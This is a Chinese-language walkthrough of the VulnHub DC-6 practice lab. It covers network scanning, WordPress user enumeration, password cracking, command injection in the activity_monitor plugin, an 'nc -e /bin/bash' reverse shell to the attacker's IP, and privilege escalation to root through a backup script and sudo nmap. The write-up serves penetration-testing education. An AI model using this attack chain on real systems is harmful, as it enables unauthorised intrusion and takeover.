DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
https://www.vulnhub.com/entry/dc-6,315/
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行.
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
使用nmap进行探活,寻找靶机ip
namp -sP 192.168.52.0/24
arp-scan -l
我们知道靶场ip地址为192.168.52.137
nmap -A -v -p- 192.168.52.137
发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.52.137
http://192.168.52.137
发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。
打开hosts文件,hosts文件路径如下
C:\WINDOWS\system32\drivers\etc
添加如下内容
192.168.52.137 wordy
hosts文件路径如下
/etc/hosts
Vim修改hosts文件
vim /etc/hosts
./EHole_linux_amd64 finger -u http://192.168.52.137
使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录
nikto -h http://192.168.52.137
但是我们不知道用户名和密码,我们可以进行爆破
我们使用wpscan进行爆破用户名
使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户
wpscan --url wordy -e u
我们可以发现5个用户名
题目中给出了提示,告诉了我们密码字典的生成方式
cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
爆破时间有点长
用户名是mark 密码helpdesk01
http://wordy/wp-login.php
Mark/helpdesk01
简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。
发现长度限制并绕过
发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell
我们使用看到无法输入
nc -lvnp 55555
把html输入内容位置改成反弹的命令
114.114.114.114;nc -e /bin/bash 192.168.52.152 55555
这个shell不好用,进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
查找具有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
没有发现可以利用的程序,我们换一个思路
执行sudo -l,发现需要www-data的密码
sudo -l
我们切换到home目录下,可以发现有4个用户名
我们一个一个进行查看,最后进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
可以看到有一个stuff文件
我们切换用户为graham,输入密码GSo7isUM1D4
/home/jens/backups.sh
查看备份文件
cat /home/jens/backrups.sh
发现里面是如下命令,是对web的文件进行打包备份
tar -czf backups.tar.gz /var/www/html
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
脚本执行成功后,切换到jens用户
再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令
可以看到root
百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
1.靶场下载地址
2.nmap
3.arp-scan
4.masscan
5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7.nikto
8.wpscan
9.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
10.[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
11.简谈SUID提权
12.实现交互式shell的几种方式
13.修改hosts文件